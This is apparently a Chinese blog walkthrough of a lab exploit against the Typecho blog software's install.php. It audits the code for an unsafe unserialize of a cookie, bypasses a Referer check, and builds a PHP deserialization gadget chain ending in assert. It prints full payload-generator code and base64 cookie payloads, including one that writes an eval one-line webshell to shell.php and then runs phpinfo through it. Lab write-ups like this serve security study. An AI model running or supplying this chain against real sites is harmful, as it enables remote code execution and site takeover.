反序列化typecho2靶场漏洞-代码审计全过程(超详细)

目录

一、代码审计.

(1)将源代码放入审计代码的程序中

(2)这里要明确目标,我们是想要找反序列化的漏洞

(3)查找可控变量(漏洞注入点)

(4)构造payload

(5)查找魔术方法

(6)代码审计__toString方法

(7)代码审计__get方法

(8)定位追踪_applyFilter()

二、构造payload

1、首先发现config能被反序列化说明config是一个对象,其次config有两个属性adapter和prefix说明,config是一个数组

2、toString方法在哪里

3、

4、

5、查找item存在那些属性

6、因为这里我们想要调用 __get 方法,并且Request.php中定义了 __get 方法,Request.php中的__get 方法属于 Typecho_Request类,因此这里'author'应该时一个对象,这个对象调用了Typecho_Request类里面的get方法所以说

7、

8、

9、

10、

三、测试payload

2、抓包

3、运行构造的payload

四、重新构造写入一句话木马的payload

五、继续验证结果

1、抓包

2、将值复制粘贴

3、放包

4、最终结果


一、代码审计.

(1)将源代码放入审计代码的程序中

(2)这里要明确目标,我们是想要找反序列化的漏洞

因此这里全局搜索需要搜索:unserialize(

(3)查找可控变量(漏洞注入点)

ID=1

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

这里发现config变量不需要经过任何校验,因此config变量有可能可控

继续定位搜索get参数

这里确实不需要经过任何校验,这个函数的意思就是获取cookie或者post里面的$key并赋值给$value,并且$value不能是数组,否则会被置空,说明这里的确没有对反序列化后的内容进行校验

(4)构造payload

往上查找发现

 <?php if (isset($_GET['finish'])) : ?>

这句代码的意思是查看参数finish是否存在,如果存在则执行下面的操作

 <?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>

意思是查看/config.inc.php是否存在于typecho根目录下如果不存在根目录下则执行下面操作

这里我们输入finish进行尝试

www.typecho2-master.com/install.php?finish=1

发现没有回显,说明是被什么校验给挡住了传参

继续审计代码

if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {

    exit;

}

这段 PHP 代码执行了几个条件检查,并在满足特定条件时执行 exit 函数。让我们逐一分析这些条件:

1、!isset($_GET['finish']): 这检查是否设置了名为 'finish' 的 GET 参数。如果该参数不存在(即 isset($_GET['finish']) 返回 false),则该条件为真。

2、file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php'): 这检查 Typecho 的配置文件 config.inc.php 是否存在于 Typecho 的根目录下。如果存在,该条件为真。

3、empty($_SESSION['typecho']): 这检查 'typecho' 会话是否为空。如果会话中没有与 'typecho' 相关的数据,该条件为真。

这三个条件都必须为真,代码才会执行 exit 函数。换句话说,只有当 'finish' GET 参数未设置、Typecho 的配置文件存在且 'typecho' 会话为空时,脚本才会停止执行并退出。

简单来说,这段代码似乎是在检查一些初始设置或安全条件是否满足,如果不满足,则终止脚本的进一步执行。

// 挡掉可能的跨站请求

if (!empty($_GET) || !empty($_POST)) {

    if (empty($_SERVER['HTTP_REFERER'])) {

        exit;

    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);

if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {

        $parts['host'] = "{$parts['host']}:{$parts['port']}";

    }

    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {

        exit;

    }

}

这段 PHP 代码执行了几个条件检查,并在某些条件下执行 exit 函数来终止脚本的进一步执行。以下是这段代码的逐行解释:

1、if (!empty($_GET) || !empty($_POST)) {: 检查 $_GET 和 $_POST 是否都不为空。如果至少其中一个不为空(即有 GET 或 POST 参数),则进入该 if 语句。

2、if (empty($_SERVER['HTTP_REFERER'])) {: 检查 $_SERVER['HTTP_REFERER'] 是否为空。这通常用来检查用户是否从一个页面跳转至此页面。如果为空,则进入该 if 语句。

3、exit;: 如果上述两个条件都满足(即有 GET/POST 参数且没有 HTTP REFERER),则终止脚本的进一步执行。

4、$parts = parse_url($_SERVER['HTTP_REFERER']);: 使用 parse_url 函数解析 HTTP REFERER 的 URL,并将结果存储在 $parts 变量中。

5、if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {: 检查 $parts 是否包含端口,且端口是否不等于 80,且当前环境不是 App Engine。如果满足这些条件,则进入该 if 语句。

6、$parts['host'] = "{$parts['host']}:{$parts['port']}";: 如果上述条件满足,则更新 $parts['host'],将端口添加到主机名后面。

7、if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {: 检查 $parts['host'] 是否为空,或者当前页面的主机名 ($_SERVER['HTTP_HOST']) 是否与 $parts['host'] 不匹配。如果满足这些条件,则进入该 if 语句。

8、exit;: 如果上述条件满足,则终止脚本的进一步执行。

简而言之,这段代码检查 GET/POST 参数的存在,以及 HTTP REFERER 的存在和主机名的匹配性。如果不满足这些条件,则脚本终止。也就是如果referer为空,或者这个referer不等于本站的referer,那么结束整个语句。

那么这里需要用到burp去构造请求包,去进行referer传参

抓到包之后添加rferer

referer:http://www.typecho2-master.com:8080/install.php

执行后发现

有回显,证明成功绕过了校验

绕过校验之后怎么才能执行上面的漏洞代码呢,这里就需要查找魔术方法

(5)查找魔术方法

这里查找delete函数

public static function delete($key)

    {

        $key = self::$_prefix . $key;

        if (!isset($_COOKIE[$key])) {

            return;

        }

        setcookie($key, '', time() - 2592000, self::$_path);

        unset($_COOKIE[$key]);

    }

这段 PHP 代码定义了一个名为 delete 的静态方法,该方法的目的是删除一个指定的 cookie。以下是代码的逐行解释:

1、public static function delete($key): 定义一个公开的静态方法 delete,它接受一个参数 $key。

2、$key = self::$_prefix . $key;: 将 $key 与 self::$_prefix 进行拼接。这可能是一个前缀,用于为 cookie 命名或为其提供一个基础名称。

3、if (!isset($_COOKIE[$key])) {: 检查 $key 是否存在于 $_COOKIE 数组中。如果不存在,则进入该 if 语句。

4、return;: 如果 $key 不存在于 $_COOKIE 中,则直接返回,不执行后续代码。

5、setcookie($key, '', time() - 2592000, self::$_path);: 使用 setcookie 函数设置一个 cookie。该 cookie 的名称是 $key,值是空字符串(即没有值),过期时间是当前时间减去 2592000 秒(即一个月前),路径是 self::$_path。

6、unset($_COOKIE[$key]);: 从 $_COOKIE 数组中删除 $key 对应的项。

总结:这段代码的主要目的是删除一个 cookie。如果给定的 $key 不存在于 $_COOKIE 中,则不执行任何操作。如果存在,则首先使用 setcookie 设置一个过期时间为一个月前的 cookie,然后从 $_COOKIE 中删除该项。这种方法的主要目的是确保 $key 不再存在,并释放与它相关的任何资源。

查找Typecho_Db

    public function __construct($adapterName, $prefix = 'typecho_')

    {

        /** 获取适配器名称 */

        $this->_adapterName = $adapterName;

        /** 数据库适配器 */

        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {

            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");

        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */

        $this->_pool = array();

        $this->_connectedPool = array();

        $this->_config = array();

        //实例化适配器对象

        $this->_adapter = new $adapterName();

    }

这段代码是 PHP 中的一个构造函数(__construct),它属于一个类,主要用于初始化该类的对象。以下是对这段代码的逐行解释:

1、public function __construct($adapterName, $prefix = 'typecho_'): 这是构造函数的定义,它接受两个参数:$adapterName 和 $prefix。其中,$prefix 有一个默认值 'typecho_'。

2、{: 构造函数的开始。

3、/** 获取适配器名称 */: 这是一个多行注释,描述了接下来的代码功能,即获取适配器名称。

4、$this->_adapterName = $adapterName;: 将传入的 $adapterName 赋值给类的私有属性 _adapterName。

5、/** 数据库适配器 */: 又是一个多行注释,描述了接下来的代码功能,即与数据库相关的适配器。

6、$adapterName = 'Typecho_Db_Adapter_' . $adapterName;: 根据传入的 $adapterName 生成完整的适配器名称,并赋值给 $adapterName。在$adapertName这个变量的前面加上一些字符串。

7、if (!call_user_func(array($adapterName, 'isAvailable'))) {: 使用 call_user_func 函数调用 $adapterName 类的 isAvailable 方法,检查该适配器是否可用。

8、throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");: 如果适配器不可用,则抛出一个异常,说明适配器不可用。

9、$this->_prefix = $prefix;: 将传入的 $prefix 赋值给类的私有属性 _prefix。

10、/** 初始化内部变量 */: 多行注释,描述接下来的代码功能,即初始化内部变量。

11、$this->_pool = array();: 初始化一个空的池数组。

12、$this->_connectedPool = array();: 初始化一个空的已连接池数组。

13、$this->_config = array();: 初始化一个空的配置数组。

14、//实例化适配器对象: 单行注释,表示接下来的代码功能是实例化适配器对象。

15、$this->_adapter = new $adapterName();: 创建一个新的 $adapterName 类的实例,并赋值给类的私有属性 _adapter。

总结:这个构造函数主要用于初始化一个与数据库相关的类。它首先获取和验证适配器名称,然后初始化一些内部变量,并最后实例化适配器的对象。

这里通过第6点可以知道,adapertName是对象时,前面加入了字符串之后那么这里adapertName就变成了字符串,这里便可以联想到魔术方法中的__toString方法。

(6)代码审计__toString方法

(7)代码审计__get方法

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;

return $this->_applyFilter($value);

这两行代码的意思时如果$value不是数组并且长度大于0,$value就等于它本身

返回$this->_applyFilter($value);

(8)定位追踪_applyFilter()

 $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value);

这句代码的意思时判断$valu是否为数组,如果为数组执行array_map($filter, $value)如果不是call_user_func($filter, $value

array_map — 为数组的每个元素应用回调函数

call_user_func — 把第一个参数作为回调函数调用

因此这里我们便找到漏洞可以通过array_map(“:assert”,”array(phpinfo())”)

call_user_func(“assert”,”phpinfo()”)

二、构造payload

1、首先发现config能被反序列化说明config是一个对象,其次config有两个属性adapter和prefix说明,config是一个数组

因此config可以写为

$config=[

adapter=aaaa;

prefix=aaaaa;

]

由于上面代码审计的时候发现

而在审计代码的时候我们为了使之出现漏洞,因此$adapterName必须是一个对象

因此config应该变为

$config=[

adapter=一个对象;

prefix=aaaaa;

]

2、toString方法在哪里

因为toString方法存在于Typecho_Feed这个类里面,因此我们构造payload时需要构造一个Typecho_Feed

<?php

class Typecho_Feed{

}

3、

由于只有当else if (self::RSS2 == $this->_type)这个语句成立时才会执行else if里面的语句,所以这里_type=RSS2 ,且版本要为2.0

因此这里payload应构造为

<?php

class Typecho_Feed{

const RSS2 = 'RSS 2.0';

private $_type;

public function __construct(){

$this->_type='RSS 2.0';

}

}

4、

这里的_items和item均为数组

因此

<?php

class Typecho_Feed{

const RSS2 = 'RSS 2.0';

private $_type;

private $_items = array();

public function __construct(){

$this->_type='RSS 2.0';

}

}

5、查找item存在那些属性

把 _items 数组里面的第一个元素给 $item 数组

因此

<?php

class Typecho_Feed{

const RSS2 = 'RSS 2.0';

private $_type;

private $_items = array();

public function __construct(){

$this->_type='RSS 2.0';

$this->_items[0]=array(

'title' => 'test',

'link' => 12312,

'date' => 2023,

'author' => 这里给什么?

);

}

}

6、因为这里我们想要调用 __get 方法,并且Request.php中定义了 __get 方法,Request.php中的__get 方法属于 Typecho_Request类,因此这里'author'应该时一个对象,这个对象调用了Typecho_Request类里面的get方法所以说

<?php

class Typecho_Feed{

const RSS2 = 'RSS 2.0';

private $_type;

private $_items = array();

public function __construct(){

$this->_type='RSS 2.0';

$this->_items[0]=array(

'title' => 'test',

'link' => 12312,

'date' => 2023,

'author' =>new Typecho_Request()

);

}

·  }

class Typecho_Request{

}

7、

在这里定义了_params是一个数组

这里就是通过switch...case判断_params中是否存在$key如果存在则将值赋值给$vale

因此

<?php

class Typecho_Feed{

const RSS2 = 'RSS 2.0';

private $_type;

private $_items = array();

public function __construct(){

$this->_type='RSS 2.0';

$this->_items[0]=array(

'title' => 'test',

'link' => 12312,

'date' => 2023,

'author' => new Typecho_Request()

);

}

}

class Typecho_Request{

private $_params = array(

'screenName' => 什么什么

);

}

8、

这里_filter 也是一个数组

全文追踪查到

private $_filter = array();

因此

<?php

class Typecho_Feed{

const RSS2 = 'RSS 2.0';

private $_type;

private $_items = array();

public function __construct(){

$this->_type='RSS 2.0';

$this->_items[0]=array(

'title' => 'test',

'link' => 12312,

'date' => 2023,

'author' => new Typecho_Request()

);

}

}

class Typecho_Request{

private $_params = array(

'screenName' =>什么什么;

private $_filter = array(

);

}

由于我们是要获取webshell,因此

<?php

class Typecho_Feed{

const RSS2 = 'RSS 2.0';

private $_type;

private $_items = array();

public function __construct(){

$this->_type='RSS 2.0';

$this->_items[0]=array(

'title' => 'test',

'link' => 12312,

'date' => 2023,

'author' => new Typecho_Request()

);

}

}

class Typecho_Request{

private $_params = array(

'screenName' => 'phpinfo();'

);

private $_filter = array(

'assert'

);

}

9、

由于$config是一个数组,数组里面 adapter 是一个对象

结合

$config=[

adapter=>一个对象;

prefix=>aaaaa;

]

得到

<?php

class Typecho_Feed{

const RSS2 = 'RSS 2.0';

private $_type;

private $_items = array();

public function __construct(){

$this->_type='RSS 2.0';

$this->_items[0]=array(

'title' => 'test',

'link' => 12312,

'date' => 2023,

'author' => new Typecho_Request()

);

}

}

class Typecho_Request{

private $_params = array(

'screenName' => 'phpinfo();'

);

private $_filter = array(

'assert'

);

}

$config =[

'adapter' => new Typecho_Feed(),

'prefix' => 'typecho_'

];

10、

将$config序列化,然后base64编码后得到

<?php

class Typecho_Feed{

const RSS2 = 'RSS 2.0';

private $_type;

private $_items = array();

public function __construct(){

$this->_type='RSS 2.0';

$this->_items[0]=array(

'title' => 'test',

'link' => 12312,

'date' => 2023,

'author' => new Typecho_Request()

);

}

}

class Typecho_Request{

private $_params = array(

'screenName' => 'phpinfo();'

);

private $_filter = array(

'assert'

);

}

$config =[

'adapter' => new Typecho_Feed(),

'prefix' => 'typecho_'

];

$data = serialize($config);

$data = base64_encode($data);

echo $data

这里为什么要base64编码呢

继续代码审计发现

这里$config是被base64编码后再被序列化得到的结果

三、测试payload

1、进入靶场

www.typecho2-master.com/install.php?finish=1213212

注意这里需要打开referer

2、抓包

打开了referer这里就可以看见referer就不用自己添加了

3、运行构造的payload

结果为:

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo0OntzOjU6InRpdGxlIjtzOjQ6InRlc3QiO3M6NDoibGluayI7aToxMjMxMjtzOjQ6ImRhdGUiO2k6MjAyMztzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxMDoicGhwaW5mbygpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30

将代码复制粘贴进来后出现500报错,说明已经绕过但是被某些函数阻碍了

审核代码发现

ob_start — 打开输出控制缓冲此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(消息头除外),相反需要输出的内容被存储在内部缓冲区中。

因此我们只需要在'screenName' => 'die(phpinfo());'加入一个die函数就行了

<?php

class Typecho_Feed{

    const RSS2 = 'RSS 2.0';

    private $_type;

    private $_items = array();

    public function __construct(){

        $this->_type='RSS 2.0';

        $this->_items[0]=array(

            'title' => 'test',

            'link' => 12312,

            'date' => 2023,

            'author' => new Typecho_Request()

        );

    }

}

class Typecho_Request{

    private $_params = array(

        'screenName' => 'die(phpinfo());'

    );

    private $_filter = array(

        'assert'

    );

}

$config =[

    'adapter' => new Typecho_Feed(),

    'prefix' => 'typecho_'

];

$data = serialize($config);

$data = base64_encode($data);

echo $data;

运行后的结果为

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo0OntzOjU6InRpdGxlIjtzOjQ6InRlc3QiO3M6NDoibGluayI7aToxMjMxMjtzOjQ6ImRhdGUiO2k6MjAyMztzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxNToiZGllKHBocGluZm8oKSk7Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==

重新复制粘贴后得到

证明获取到了webshell

放包后得到

四、重新构造写入一句话木马的payload

<?php

class Typecho_Feed{

    const RSS2 = 'RSS 2.0';

    private $_type;

    private $_items = array();

    public function __construct(){

        $this->_type='RSS 2.0';

        $this->_items[0]=array(

            'title' => 'test',

            'link' => 12312,

            'date' => 2023,

            'author' => new Typecho_Request()

        );

    }

}

class Typecho_Request{

    private $_params = array(

        'screenName' => 'die(file_put_contents("shell.php","<?php eval($_REQUEST[6]) ?>"));'

    );

    private $_filter = array(

        'assert'

    );

}

$config =[

    'adapter' => new Typecho_Feed(),

    'prefix' => 'typecho_'

];

$data = serialize($config);

$data = base64_encode($data);

echo $data;

注意:

<?php eval(\$_REQUEST(6)) ?>

这里为了防止被转译需要在eval里面加入”\”

运行后得到的值为

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo0OntzOjU6InRpdGxlIjtzOjQ6InRlc3QiO3M6NDoibGluayI7aToxMjMxMjtzOjQ6ImRhdGUiO2k6MjAyMztzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo2ODoiZGllKGZpbGVfcHV0X2NvbnRlbnRzKCJzaGVsbC5waHAiLCI8P3BocCBldmFsKFwkX1JFUVVFU1RbNl0pOyA

五、继续验证结果

1、抓包
2、将值复制粘贴
3、放包

4、最终结果

检查源代码发现出现shell.php

查看发现一句话木马已经被成功写入

输入www.typecho2-master.com/shell.php?6=phpinfo();

因此成功获取webshell

  • 22
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值